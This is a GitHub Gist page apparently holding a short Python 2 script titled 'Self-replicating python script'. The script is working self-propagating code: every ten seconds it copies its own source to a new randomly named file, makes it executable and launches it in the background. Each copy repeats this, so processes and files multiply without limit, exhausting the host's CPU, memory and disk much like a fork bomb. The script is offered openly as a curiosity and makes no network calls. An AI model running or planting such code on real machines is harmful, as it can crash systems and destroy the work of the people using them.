Last active
May 2, 2018 14:20
-
-
Save jdcrensh/558570 to your computer and use it in GitHub Desktop.
Self-replicating python script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os, sys, time, uuid | |
# get self code | |
self_content = file(sys.argv[0]).read() | |
while True: | |
# wait 10 seconds | |
time.sleep(10) | |
# create unique filename | |
dupe = "%s.py" % uuid.uuid4() | |
# open and write to the copy | |
copy = open(dupe, "w") | |
copy.write(self_content) | |
copy.close() | |
# make the copy executable and execute | |
os.chmod(dupe, 0755) | |
os.system("./%s &" % dupe) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment